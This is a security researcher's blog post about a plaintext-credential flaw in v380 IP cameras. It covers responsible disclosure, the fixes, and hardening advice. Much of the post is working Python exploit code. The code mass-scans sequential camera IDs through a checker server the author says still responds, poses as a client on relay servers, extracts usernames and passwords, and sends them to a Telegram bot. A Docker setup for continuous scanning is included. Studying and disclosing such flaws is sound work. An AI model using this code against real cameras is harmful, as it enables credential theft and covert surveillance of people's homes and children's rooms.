Роман Шамагин

Posted on Nov 14

Critical Vulnerability in v380 Cameras: How Plaintext Credentials Exposed Millions of Devices

#privacy #security #cybersecurity #iot

Introduction

In 2023, while researching IoT device security, I discovered a critical vulnerability in one of the world's most popular IP camera brands. v380 cameras are used by millions of people—in apartments, offices, stores, and children's rooms. They're affordable, easy to set up, and work through a convenient mobile app.

The problem turned out to be both trivial and frightening: user credentials were transmitted over the network in plain text. Anyone who knew a camera's ID could connect to an unprotected relay server, intercept the owner's login and password, gain full access to the video stream, and even broadcast pre-recorded video instead of the live feed—just like in classic heist movies.

This article is a technical breakdown of the vulnerability, detailed analysis of the exploit code, and a story about how proper vulnerability disclosure helps make IoT more secure.

What is v380 and Why It Matters

v380 is a brand of popular Chinese IP cameras and the ecosystem around them. Main components:

v380 Cameras are sold on AliExpress, Amazon, and dozens of Chinese stores. Prices ranging from $15 to $50 make them one of the most affordable home surveillance solutions. They support WiFi, PTZ (pan/tilt), two-way audio, night vision, and SD card recording.

v380 Mobile App (v380 Pro) is available on App Store and Google Play with millions of downloads. Through it, users connect to cameras, watch live video, manage settings, and view recordings.

P2P Architecture is a key feature of the system. Cameras are behind NAT at users' homes, mobile apps are also behind carrier NAT. Direct connection is impossible, so Chinese company relay servers are used to proxy traffic between camera and app.

Where these cameras are used:

Home surveillance and baby monitors
Small businesses (stores, cafes, offices)
Access control in buildings
Monitoring elderly relatives
Pet monitoring

The problem is that people trust these devices with the most personal content—video from their homes, bedrooms, children's rooms. And the security of this data is critical.

v380 System Architecture: How It Should Work

To understand the vulnerability, we need to understand v380's architecture. The system is built on three components:

[v380 IP Camera] ←--UDP/TCP--→ [Relay Server] ←--UDP/TCP--→ [Mobile App]
     (at home)                (ipc1300.av380.net)           (user device)

Connection process as designed:

Camera registers on central server at ipc1300.av380.net:8877 on startup
Camera receives unique ID (8-digit number) and assigned relay server information
User enters camera ID in mobile app
App queries ipc1300.av380.net for this camera's relay server information
App and camera connect through relay server via UDP
Authentication occurs (login/password)
Video streaming begins

NAT traversal is solved simply: both camera and app initiate outgoing connections to relay server, punching through their NATs. Relay simply forwards packets between them.

Protocols:

TCP is used for camera status checking
UDP is used for main communication (relay connections)
Custom binary protocol over UDP/TCP

Packet format — binary structures with fixed fields. No use of standard protocols like DTLS or any transport-level encryption.

Sounds simple and workable. The problem is that security was added as "security through obscurity"—there was no real encryption of sensitive data.

Critical Vulnerability: Plaintext Credentials and No Authentication

Traffic analysis of v380 revealed three critical security issues.

Problem 1: Credentials in Plain Text

The most serious vulnerability—when users connect to cameras, credentials are transmitted without any encryption.

When the mobile app authenticates to the camera via relay server, the camera sends a packet with opcode 0xa7 containing session information. This packet includes:

Offset  | Size    | Description
--------|---------|------------------
0x00    | 1 byte  | Opcode: 0xa7
0x01-07 | 7 bytes | Header data
0x08    | N bytes | Username (null-terminated string)
...     | ...     | Padding
0x3a    | N bytes | Password (null-terminated string)

Username starts at offset 0x08, password at offset 0x3a (58 in decimal). Both are represented as regular null-terminated strings without hashing or encryption. Plain text.

Anyone intercepting this traffic on the relay server gets full account access.

Problem 2: Relay Server Doesn't Validate Requests

v380 relay servers don't verify client legitimacy. Relay connection process:

Learn camera ID (any way)
Query ipc1300.av380.net:8877 for this camera's relay server address
Send specially crafted packet to relay server
Relay accepts us as legitimate client
Start receiving all traffic between camera and real users

No certificate verification, no mutual authentication, no validation that we're the camera owner. Relay server simply forwards packets to all connected clients.

This is a classic Man-in-the-Middle attack, but simplified to absurdity by the system architecture itself.

Problem 3: Predictable Camera IDs

Camera IDs are simply sequential 8-digit numbers. Ranges:

10000000 - 19999999 — old cameras
20000000 - 99999999 — new cameras

Moreover, there's a checker server at 149.129.177.248:8900 that returns camera status (online/offline) for any ID upon request. Mass scanning ranges and finding active cameras is possible.

Important: As of this article's publication (after the main plaintext credentials vulnerability was fixed), the checker server still works and responds to requests. Code for verification is available in my repository. This means that while credentials are now encrypted, mass scanning and camera discovery remains technically possible.

The combination of predictable IDs and public checker server turns the entire system into an open database of all v380 cameras in the world. Anyone can find out which cameras are online right now.

Proof of Concept: Detailed Exploit Analysis

After discovering the vulnerability, I wrote a proof-of-concept exploit to:

Prove the problem's severity to the manufacturer
Measure vulnerability scale
Document for security community after patch

Full code: https://github.com/Romaxa55/v380_cams_hack

Exploit Architecture

The project is built on asynchronous Python using asyncio. Structure:

v380_cams_hack/
├── main.py              # Entry point, mass scanning
├── app/
│   ├── server.py        # AsyncServer - attack orchestrator
│   ├── handler.py       # DataHandler - credential interception
│   ├── TCPClient.py     # TCP client for checker server
│   ├── UDPClient.py     # UDP client for relay
│   ├── Telegramm.py     # Telegram notifications
│   └── tools.py         # Relay data parsing
├── requirements.txt     # Dependencies
└── docker-compose.yml   # Docker deployment

The exploit works in four stages:

Check camera online status
Get relay server address
Connect to relay as fake client
Intercept credentials when real user connects

Stage 1: Checking Cameras Online

First step—determine which cameras in the given ID range are active. This uses checker server 149.129.177.248:8900.

Code from app/server.py, check_camera() method:

async def check_camera(self, camera_id, semaphore, max_retries=5):
    """
    Check camera online status via checker server.
    """
    # Convert ID to hex
    hexID = bytes(str(camera_id), 'utf-8').hex()

    # Form request packet
    data = (
        'ac000000f3030000' +  # Header
        hexID +                # Camera ID in hex
        '2e6e766476722e6e657400000000000000000000000000006022000093f5d10000000000000000000000000000000000'
    )
    data = bytes.fromhex(data)

    async with semaphore:
        for retry in range(max_retries):
            # Send TCP request to checker server
            response = await self.send_request(
                self.server_checker,  # 149.129.177.248
                self.port_checker,    # 8900
                data,
                socket_type=socket.SOCK_STREAM
            )

            if response is not None:
                # response[4] == 1 means camera is online
                if response[4] == 1:
                    print(f'[+] Camera with ID: {camera_id} is online!')
                    relay = await self.create_socket(camera_id)
                    if relay:
                        await self.connect_to_relay(relay, camera_id)
                    return True
                else:
                    return False

Implementation details:

Camera ID is converted to hex (e.g., 19348439 → 3139333438343339)
Packet formed with magic bytes ac000000f3030000 (protocol header)
Packet sent via TCP to 149.129.177.248:8900
Response contains status: byte at position 4 equals 0x01 if camera online

Scaling:

# From main.py
start_id = int(os.environ.get('START_ID', 10451000))
end_id = int(os.environ.get('END_ID', 99551000))
batch_size = int(os.environ.get('BATCH_SIZE', 10000))

for i in range(start_id, end_id, batch_size):
    camera_ids = [str(j) for j in range(i, min(i + batch_size, end_id + 1))]
    await server.check_camera_batch(camera_ids)

Uses asyncio.Semaphore(500) to limit 500 simultaneous requests. Exponential backoff on errors prevents IP ban.

Stage 2: Getting Relay Server

When an online camera is found, we need to learn its relay server address. A request is sent to central server ipc1300.av380.net:8877.

Code from create_socket() method:

async def create_socket(self, camera_id):
    """
    Get relay server information for camera.
    """
    # Form relay information request packet
    data = '02070032303038333131323334333734313100020c17222d0000'
    data += bytes(str(camera_id), 'utf-8').hex()  # Camera ID
    data += '2e6e766476722e6e65740000000000000000000000000000'  # .nvdvr.net
    data += '3131313131313131313131318a1bc0a801096762230a93f5d100'
    data = bytes.fromhex(data)

    local_relay_queue = asyncio.Queue()
    data_handler_instance = DataHandler(
        camera_id=camera_id,
        relay_queue=local_relay_queue
    )

    # Send UDP request
    await self.send_request(
        self.server,      # ipc1300.av380.net
        self.port,        # 8877
        data,
        socket_type=socket.SOCK_DGRAM,
        timeout=30,
        data_handler=data_handler_instance.handle_data
    )

    try:
        # Wait for relay information response
        return await asyncio.wait_for(local_relay_queue.get(), timeout=3)
    except asyncio.TimeoutError:
        return None

Response parsing in app/tools.py:

@staticmethod
def parse_relay_server(data):
    """
    Extract relay server information from response.
    """
    try:
        if data[1:3] != b'\x00\x00':
            # Extract data from fixed offsets
            device_id = data[1:9].decode('utf-8')
            relay_server = data[33:data.find(b'\x00', 33)].decode('utf-8')
            relay_port = struct.unpack('<H', data[50:52])[0]

            print(f'[+] Relay found for id {device_id} {relay_server}:{relay_port}')

            return {
                'id': device_id,
                'relay_server': relay_server,
                'relay_port': relay_port
            }
        else:
            return None
    except Exception as e:
        print(f"An error occurred: {str(e)}")
        return None

Response contains:

Device ID (bytes 1-9)
Relay server hostname (starting at byte 33, null-terminated)
Relay server port (bytes 50-52, little-endian unsigned short)

Typical relay address: r2.v380.tv:10010 or similar v380 subdomains.

Stage 3: Connecting to Relay and Interception

Having relay server address, exploit pretends to be legitimate client and connects to it.

Code from connect_to_relay():

async def connect_to_relay(self, relay_data, camera_id):
    """
    Connect to camera's relay server.
    """
    if relay_data and 'id' in relay_data:
        # Form "client connection" packet
        data = '32'  # Connection opcode
        data += bytes(str(relay_data['id']), 'utf-8').hex()
        data += '2e6e766476722e6e65740000000000000000000000000000302e30' \
                '2e302e30000000000000000000018a1bc4d62f4a41ae000000000000'
        data = bytes.fromhex(data)

        local_relay_queue = asyncio.Queue()
        data_handler_instance = DataHandler(
            camera_id=camera_id,
            relay_queue=local_relay_queue,
            bot=self.bot  # Telegram bot for notifications
        )

        # Send to relay server via UDP
        return await self.send_request(
            relay_data['relay_server'],
            relay_data['relay_port'],
            data,
            socket_type=socket.SOCK_DGRAM,
            timeout=30,
            data_handler=data_handler_instance.handle_data
        )

Connection process:

Packet formed with opcode 0x32 (relay connection)
Camera ID and other protocol fields included
Relay server accepts us as legitimate client
UDP connection established
DataHandler starts processing all incoming traffic

Critical moment: relay server does NOT ask for any credentials, does NOT verify certificates, does NOT validate camera ownership. Just accepts any connection.

Stage 4: Credential Extraction

Now exploit is connected to relay server and sees all traffic. When camera's real owner connects through mobile app, authentication occurs and credentials fly through relay.

Code from app/handler.py, handle_data() method:

async def handle_data(self, data, protocol):
    """
    Processes each packet received from relay server.
    """
    try:
        # Look for credentials packet (opcode 0xa7)
        if data and data[0] == 0xa7:
            # Extract username from offset 8
            username = self.extract_string(data, 8)
            # Extract password from offset 0x3a (58)
            password = self.extract_string(data, 0x3a)

            print(f'[+] ID: {self.camera_id} User: {username} Password: {password}')

            credentials = {
                'id': self.camera_id,
                'username': username,
                'password': password,
            }

            if username:  # if username not empty
                if self.bot:
                    # Send to Telegram
                    message = f"*Camera Report*\n" \
                              f"*Camera ID*: `{self.camera_id}`\n" \
                              f"*User*: `{username}`\n" \
                              f"*Password*: `{password}`"

                    # Log to file
                    with open('data_log.txt', 'a') as file:
                        file.write(message + '\n')

                    self.bot.send_message(message)

                # Close connection, credentials obtained
                protocol.active = False
                protocol.transport.close()
                await self.relay_queue.put(credentials)

    except Exception as e:
        print("[ERROR] Exception in handle_data:", str(e))

@staticmethod
def extract_string(data, start_index):
    """
    Extracts null-terminated string from binary data.
    """
    end_index = data.find(b'\x00', start_index)
    return data[start_index:end_index].decode('utf-8').strip()

Interception mechanism:

DataHandler receives each UDP packet from relay server
Checks first byte (opcode)
If opcode = 0xa7 — this is credentials packet
Extracts username starting at byte 8 until first null-byte
Extracts password starting at byte 58 until first null-byte
Both strings in plaintext UTF-8
Sends to Telegram and logs to file
Closes connection (mission accomplished)

Full automation: found credentials immediately arrive in Telegram with formatting.

Bonus Vulnerability: Broadcasting Looped Video

After obtaining credentials, attacker has full camera access. They can:

Watch live video
View recordings on SD card
Control camera rotation (PTZ)
Listen to audio
Speak through built-in speaker

But most interesting—ability to replace video stream.

Classic heist movie scenario: security guard watches monitors and sees calm corridor footage while robbers are actually there. In v380 this is technically possible:

Video stream replacement mechanism:

With obtained credentials, connect to camera as legitimate client
Start broadcasting pre-recorded video instead of live feed from camera
Use same protocol camera uses to send video
Relay server forwards our video to user apps
Owner sees looped calm footage while something else actually happens

This works technically because:

No validation of video stream source at relay
No end-to-end encryption between camera and app
Video protocol simple enough to imitate

In proof-of-concept I didn't implement video stream replacement (that crosses ethical hacking boundaries), but mechanism is proven. After obtaining credentials and understanding protocol, it's a matter of a few hours work.

Problem Scale: Statistics and Risks

How serious is this vulnerability in terms of scale?

Camera ID range:

Old models: 10,000,000 - 19,999,999 (10 million devices)
New models: 20,000,000 - 99,999,999 (80 million devices)
Potentially up to 90 million devices

Actual active count:
Running scan of several batches of 10,000 IDs, I discovered approximately 5-8% cameras online at any time. That's approximately 4-7 million active devices globally.

Important note: While main plaintext credentials vulnerability was fixed, checker server 149.129.177.248:8900 continues to work and respond to requests (verified at publication time). Chinese development team closed critical credentials leak issue, but mass camera scanning remains technically possible.

Server Geography and Cloud Storage: Who Really Watches Your Video?

v380 infrastructure analysis reveals important fact most users don't consider.

Server locations:

v380 relay servers and cloud storage are located primarily in:

China — main infrastructure (servers ipc*.av380.net, r*.v380.tv)
Singapore — backup servers and CDN for Asia-Pacific region
Hong Kong — additional points of presence

Checker server 149.129.177.248 is in Singapore (AS37963 Alibaba Cloud). Central servers ipc1300.av380.net resolve to Chinese datacenter IPs.

Cloud storage problem:

Most v380 users use cloud storage for camera recordings. Critical issue — lack of end-to-end encryption:

Video recorded on camera — unencrypted
Transmitted to servers in China/Singapore — without E2E encryption
Stored on servers — in form accessible to provider
Viewed through app — streaming from provider servers

Consequently, technically video can be viewed by:

v380 company employees
Government agencies with server access in these jurisdictions
Attackers if servers compromised
Anyone who gained access through vulnerability described above (before patch)

For those installing cameras in bedrooms, children's rooms, private spaces:

Consider: when you watch video from your bedroom camera through v380 app, this video is physically stored on servers in China or Singapore. You're not the only one who technically has access to it.

Cloud IoT providers typically don't use client-side encryption. As a result:

They see your video in plain view
Can analyze its content (supposedly for "service improvement")
Required to provide access upon government requests in their jurisdiction
When data leaks, your video ends up in third party hands

Legal aspects:

According to PRC legislation (Cybersecurity Law and Data Security Law), companies must:

Store PRC citizen data on China territory
Provide data access upon government agency request
Cooperate with security agencies in "national interests"

Your bedroom camera in Moscow, Berlin, or New York records video stored under another state's jurisdiction.

Recommendations for paranoid (and simply sensible) people:

Don't use cloud storage for cameras in private spaces
Store recordings locally on camera SD card or NAS in your network
Disable cloud functions in camera settings
Use cameras only for monitoring common areas (hallway, street), not bedrooms/bathrooms
Consider cameras with E2E encryption or self-deploy solution like Frigate NVR on your server

Remember: convenience of cloud camera access costs your privacy. If camera installed in bedroom using cloud storage—you're potentially broadcasting your personal life to Chinese company servers.

Exploit performance:

Limit: 500 simultaneous requests (asyncio.Semaphore)
Batch size: 10,000 cameras
Checking speed: ~1000 cameras per minute
Full scan of 90 million devices would take ~60 days on one machine

What attacker can do:

With intercepted credentials:

Live video viewing — see everything camera sees in real-time
Recording access — view history from camera SD card
Camera control — pan, tilt, zoom (PTZ models)
Audio monitoring — hear sounds in room
Video stream replacement — broadcast fake video
Camera disabling — change settings, reset passwords

This is critical privacy violation. Cameras installed in children's rooms, bedrooms, offices with confidential information.

Responsible Disclosure: How Vulnerability Was Fixed

After discovering vulnerability, I faced question: what to do next?

Wrong path — publish vulnerability immediately, get fame in security community, but leave millions of devices unprotected. Or worse—sell exploit on black market.

Right path — responsible disclosure. I chose it.

Vulnerability Closure History

Step 1: Contacting Manufacturer

Finding security team contacts at Chinese company proved non-trivial. Official site had no email like security@v380.com. Had to:

Contact via support email with request to forward to security
Write through official mobile app
Find contacts in WhoisGuard v380 domain records

Eventually got response from technical team after 3 days.

Step 2: Detailed Report

Prepared full technical report in English:

Vulnerability description
Proof-of-concept code (main parts)
Video demonstration of credential interception
Fix recommendations
Disclosure timeline (90 days)

Important: did NOT send full working exploit, only enough information for reproduction.

Step 3: Verification

v380 team quickly reproduced issue (plaintext credentials hard to miss in Wireshark). Confirmed criticality and started patch work.

Step 4: Joint Work

Over following weeks we exchanged information:

I tested their fixes on my PoC
They asked questions about attack details
Discussed edge cases and additional vectors

Communication was professional and constructive. Team understood problem seriousness and worked quickly.

Step 5: Patch and Verification

December 15, 2023 release v1.1.0 with fixes:

Release 1.1.0 - Security Update
- Enhanced authentication protocol
- Added encryption for credential transmission
- Relay server client validation
- Protocol packet structure changes

I tested new version—exploit no longer worked. Credentials now transmitted encrypted, relay servers required client validation.

What Was Fixed Technically

1. Credential encryption

Username and password now transmitted encrypted
AES-128 used with key computed from shared secret
Packet with opcode 0xa7 no longer contains plaintext data

2. Relay server validation

Relay requires authentication token from client
Token issued by central server after access rights verification
Without valid token cannot connect to camera relay

3. Protocol changes

New packet structure with HMAC for integrity checking
Replay attack protection via nonce
Protocol versioning (old cameras work but with warnings)

4. Additional measures

Rate limiting on checker server against mass scanning
Suspicious connection logging
Push notifications to owners on new connections

Why Code Is Now Public

After patch, enough time passed. Old firmware versions no longer supported, users updated. I decided to publish exploit code with several goals:

Educational value — security researchers can study real IoT vulnerability and exploit mechanism. This is more valuable than thousand theoretical articles.

Responsible disclosure demonstration — show proper vulnerability disclosure process works. Manufacturer fixed problem, users protected, community gained knowledge.

Help other IoT developers — show specific mistakes leading to critical vulnerabilities. Code review of this exploit should be mandatory for IoT security teams.

Historical archive — in few years this will be interesting case study of IoT security state in 2023.

Repository: https://github.com/Romaxa55/v380_cams_hack

Docker Exploit Deployment

For researchers wishing to study attack mechanism in controlled environment, exploit packaged in Docker.

docker-compose.yml:

version: "3.9"

services:
  v380:
    image: ghcr.io/romaxa55/romaxa55/v380_cams_hack/v380:latest
    build:
      context: .
      dockerfile: Dockerfile
    container_name: v380_cams
    environment:
      START_ID: ${START_ID:-19348439}
      END_ID: ${END_ID:-99748452}
      BATCH_SIZE: ${BATCH_SIZE:-100}
      TELEGRAM_TOKEN: $TELEGRAM_TOKEN
      TELEGRAM_CHAT_ID: $TELEGRAM_CHAT_ID
    restart: always

Launch:

# Clone repository
git clone https://github.com/Romaxa55/v380_cams_hack.git
cd v380_cams_hack

# Create .env file
cat > .env << EOF
TELEGRAM_TOKEN=your_bot_token
TELEGRAM_CHAT_ID=your_chat_id
START_ID=19348439
END_ID=19350000
BATCH_SIZE=100
EOF

# Run
docker-compose up --build

Environment variables:

START_ID — ID range start for scanning
END_ID — range end
BATCH_SIZE — batch size (recommended 100-1000)
TELEGRAM_TOKEN — Telegram bot token for notifications
TELEGRAM_CHAT_ID — chat ID for results

Important: This is for educational purposes. Use against cameras without owner permission is illegal in most jurisdictions.

Lessons for IoT Device Developers

v380 vulnerability analysis reveals typical IoT security mistakes. These lessons apply to thousands of other devices.

Critical Errors in v380 Architecture

1. Transmitting credentials without encryption

Most obvious and fatal error. Username and password in plaintext over network—that's 1990s. In 2023 this is unforgivable.

How it should be:

Never transmit credentials in plain view
Use TLS 1.3 for all connections
Even inside TLS apply additional encryption for sensitive data
Challenge-response authentication instead of password transmission

2. No TLS/SSL at application level

v380 used custom binary protocol without any transport-level encryption. "Security through obscurity" doesn't work.

Solution:

DTLS for UDP connections
TLS 1.3 for TCP
Certificate pinning to prevent MITM
Perfect forward secrecy (PFS)

3. Unprotected relay servers

Relay servers accepted any connections without validation. Like leaving door open with sign "members only".

Fix:

Mutual authentication (client and server verify each other)
Access tokens with expiration
Rate limiting and anomaly detection
Log all connections with alerts

4. Predictable device IDs

Sequential numbers as identifiers allow trivial enumeration of all devices.

Alternative:

UUID v4 (random 128-bit identifiers)
Or sufficiently long random strings
No predictability in IDs

5. No mutual authentication

Client must prove legitimacy to server, but server must also prove it to client.

Proper implementation:

TLS mutual authentication with client certificates
Or OAuth 2.0 with proper token validation
Challenge-response protocols
Zero-trust architecture

6. No end-to-end encryption

Even if relay server required TLS, this only protects transmission channel. Relay itself sees data plainly. If relay server compromised, everything exposed.

Protection:

End-to-end encryption between camera and client
Relay only forwards encrypted packets
Perfect forward secrecy
Clients and devices generate ephemeral keys for each session

IoT Security Best Practices

Basic principles:

Defense in depth — multiple protection layers, don't rely on one mechanism
Least privilege — minimal necessary rights for each component
Fail secure — on error system should close, not open
Zero trust — don't trust anything by default, always verify

Specific recommendations:

Transport level:
✓ TLS 1.3 / DTLS 1.3
✓ Certificate pinning
✓ Strong cipher suites only
✓ Regular certificate rotation

Authentication:
✓ Multi-factor authentication where possible
✓ Strong password policies
✓ Account lockout after failed attempts
✓ Secure password reset mechanisms

Data:
✓ Encrypt at rest and in transit
✓ End-to-end encryption for sensitive data
✓ Secure key management (HSM/TPM)
✓ Regular key rotation

Architecture:
✓ Network segmentation
✓ Firewall rules (default deny)
✓ Regular security audits
✓ Penetration testing
✓ Bug bounty programs

Updates:
✓ Secure boot and verified boot
✓ Signed firmware updates
✓ Automatic security updates
✓ Rollback mechanisms on failed updates

Standards and frameworks:

OWASP IoT Top 10
NIST Cybersecurity Framework
IoT Security Foundation Best Practices
IEC 62443 for industrial IoT

How v380 Users Can Protect Themselves

If you have v380 cameras installed, here's what to do immediately:

Mandatory Actions

1. Update firmware

Ensure camera firmware is updated:

Open v380 app
Settings → Device Settings → Firmware Update
Install latest available version
Reboot camera after update

2. Change passwords

Even after patch, change passwords on all cameras:

Use strong passwords (minimum 12 characters)
Unique password for each camera
No default passwords like admin/admin
Use password manager

3. Check connections

In v380 app check connection history:

Settings → Connection Log
Look for unfamiliar IP addresses or strange connection times
If anything suspicious—immediately change password

4. Disable remote access if not needed

If don't use cameras outside home:

Settings → Network → Remote Access: OFF
Camera will be accessible only on local network
Most secure, but loses convenience

Network Segmentation

Advanced users should isolate smart devices in separate network:

IoT VLAN setup:

Router Configuration:

VLAN 1 (Main):        192.168.1.0/24
  - Computers, phones, laptops

VLAN 2 (IoT):         192.168.2.0/24
  - v380 cameras
  - Other smart devices

Firewall Rules:
  - IoT VLAN → Internet: ALLOW (only necessary ports)
  - IoT VLAN → Main VLAN: DENY
  - Main VLAN → IoT VLAN: ALLOW (for management)

This prevents:

Main network compromise through IoT
Lateral movement of attacker
IoT access to sensitive data in main network

VPN for IoT Traffic

Most reliable way to protect smart devices—route all their traffic through VPN.

Why this works:

All camera traffic encrypted by VPN tunnel
Real device IP address hidden
Additional protection layer over any application protocol
Protection from MITM attacks at provider level

IoT VPN setup:

Modern VPN solutions support IoT device protection via router-level configuration:

Install VPN client on router (supported: OpenWRT, DD-WRT, Asus Merlin)
Create routing rule for VLAN with IoT devices
All IoT VLAN traffic automatically goes through VPN tunnel
Use modern encryption protocols (VLESS, Reality)

More about modern encryption protocols can be read in article on Habr.

IoT Device → Router → VPN Tunnel → Internet → v380 Relay
            (VLAN 2)   (encrypted)

Benefits:

Zero configuration on cameras themselves
Works with any IoT devices
Centralized security management
Protection even from camera firmware vulnerabilities

Conclusion

v380 vulnerability story is lesson about importance of IoT device security. Millions of devices installed in homes worldwide were vulnerable due to basic protocol design errors: plaintext credentials, unprotected relay servers, no encryption.

But it's also story about how responsible disclosure works. Instead of exploiting vulnerability or selling exploit, I contacted manufacturer. We jointly fixed problem, protecting millions of users. Now that patch deployed, code open for educational purposes.

What IoT developers should learn:

Security cannot be added later, it's fundamental design decision
Plaintext credentials—unacceptable in 2025
End-to-end encryption mandatory for sensitive data
Regular security audits and penetration testing critical
Responsible disclosure programs should exist at every company

What security researchers should learn:

IoT—huge field for research
Most IoT devices have serious vulnerabilities
Responsible disclosure—right path
Code publication after patch helps community

What users should learn:

Update firmware regularly
Use strong unique passwords
Segment IoT devices in separate network
Consider VPN for IoT traffic protection

Repository with full exploit code open for study: https://github.com/Romaxa55/v380_cams_hack

Security research continues. I plan to analyze other popular IoT brands and hope to find them more protected than v380 before patch.

Resources and Further Reading

Exploit source code:

GitHub: https://github.com/Romaxa55/v380_cams_hack
Docker image: ghcr.io/romaxa55/romaxa55/v380_cams_hack/v380:latest

IoT Security standards and best practices:

OWASP IoT Top 10: https://owasp.org/www-project-iot-top-10/
IoT Security Foundation: https://www.iotsecurityfoundation.org/
NIST Cybersecurity Framework: https://www.nist.gov/cyberframework

Responsible Disclosure:

Google Project Zero Disclosure Policy
HackerOne Best Practices
ISO/IEC 29147 Vulnerability Disclosure

IoT Device Protection:

Router-level VPN setup guides
Network segmentation tutorials
Modern encryption protocols (VLESS, Reality)

About the Author

I'm a security researcher and developer specializing in reverse engineering and IoT device analysis. Last five years working on MegaV VPN project—security application using modern military-grade encryption technologies (VLESS, Reality). My article about VLESS protocol on Habr garnered over 146,000 views.

My path in security started with curiosity: how do things around us work? IoT devices especially interesting because they're everywhere, trusted by millions, but often have fatal vulnerabilities.

I discovered v380 vulnerability during broader IP camera security research. Analyzing traffic from different brands in Wireshark and was shocked seeing plaintext credentials in v380 packets. This prompted me to create proof-of-concept and contact manufacturer.

I believe in responsible disclosure and open source security research. When vulnerabilities closed, knowledge should be available to community for learning and preventing similar errors in future.

Working with Chinese developers:

Want to separately note v380 team professionalism. Despite language barrier and time zone differences, we established effective communication and jointly closed vulnerability. I deeply respect Chinese culture, their values and problem-solving approach. Chinese developers demonstrated responsibility and response speed deserving high evaluation.

Current projects and partners:

MegaV VPN (megav.app) — security application with modern military-grade encryption technologies: VLESS, Reality, VMess. Over 146K article views on Habr
AppLikeWeb (applikeweb.com) — partner startup converting websites into native mobile and desktop applications (Android, iOS, Windows, macOS, Linux)
PinVPS (pinvps.com) — partner provider with datacenters in Spain. AMD Ryzen processors, NVMe SSD, excellent price/performance ratio
VPN Protocol Benchmarks — modern VPN protocol performance benchmarks
VLESS Configs — collection of production-ready configurations for V2Ray/Xray
IoT Security Research — popular IoT device security analysis

Contact:

If you're security researcher interested in IoT, VPN technologies or mobile app development—would be happy to discuss and exchange experience.

Disclaimer: This material provided solely for educational purposes. Use of described techniques against systems without owner permission is illegal. Author and repository not responsible for improper use of information.

DEV Community